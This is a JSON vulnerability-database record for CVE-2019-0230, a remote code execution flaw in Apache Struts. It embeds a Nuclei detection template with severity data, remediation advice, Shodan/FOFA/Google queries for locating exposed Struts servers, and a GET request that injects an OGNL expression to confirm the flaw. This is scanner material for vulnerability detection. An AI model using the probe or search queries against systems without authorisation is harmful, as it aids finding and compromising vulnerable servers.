{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2019-0230/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2019-0230/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2019-0230/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2019-0230/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2019-0230/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2019-0230"},"sightings":{"href":"/api/v1/sightings/cve-2019-0230"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2019/CVE-2019-0230.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2019-0230\n\ninfo:\n  name: Apache Struts <=2.5.20 - Remote Code Execution\n  author: geeknik\n  severity: critical\n  description: Apache Struts 2.0.0 to 2.5.20 forced double OGNL evaluation when evaluated on raw user input in tag attributes, which may lead to remote code execution.\n  impact: |\n    Successful exploitation of this vulnerability allows an attacker to execute arbitrary code on the affected server.\n  remediation: |\n    Upgrade Apache Struts to a version higher than 2.5.20 or apply the necessary patches provided by the vendor.\n  reference:\n    - https://nvd.nist.gov/vuln/detail/CVE-2019-0230\n    - https://cwiki.apache.org/confluence/display/WW/S2-059\n    - https://www.tenable.com/blog/cve-2019-0230-apache-struts-potential-remote-code-execution-vulnerability\n    - http://packetstormsecurity.com/files/160108/Apache-Struts-2.5.20-Double-OGNL-Evaluation.html\n    - https://cwiki.apache.org/confluence/display/ww/s2-059\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2019-0230\n    cwe-id: CWE-1321\n    epss-score: 0.96946\n    epss-percentile: 0.99888\n    cpe: cpe:2.3:a:apache:struts:*:*:*:*:*:*:*:*\n  metadata:\n    max-request: 1\n    vendor: apache\n    product: struts\n    shodan-query:\n      - http.html:\"apache struts\"\n      - http.title:\"struts2 showcase\"\n      - http.html:\"struts problem report\"\n    fofa-query:\n      - body=\"struts problem report\"\n      - title=\"struts2 showcase\"\n      - body=\"apache struts\"\n    google-query: intitle:\"struts2 showcase\"\n  tags: cve,cve2019,tenable,packetstorm,struts,rce,apache,vuln,vkev\nvariables:\n  str: \"{{rand_base(6)}}\"\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/?id={{str}}%25{128*128}\"\n\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"{{str}}16384\"\n# digest: 4a0a00473045022100927b2cf7b7ba376799809769cb6f2a4629ace9323eb317d107532692fd25811a02206ece4064baf347db048f809311c1d35617511c3f676272f89fea871e8f8ab62b:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2019-0230"}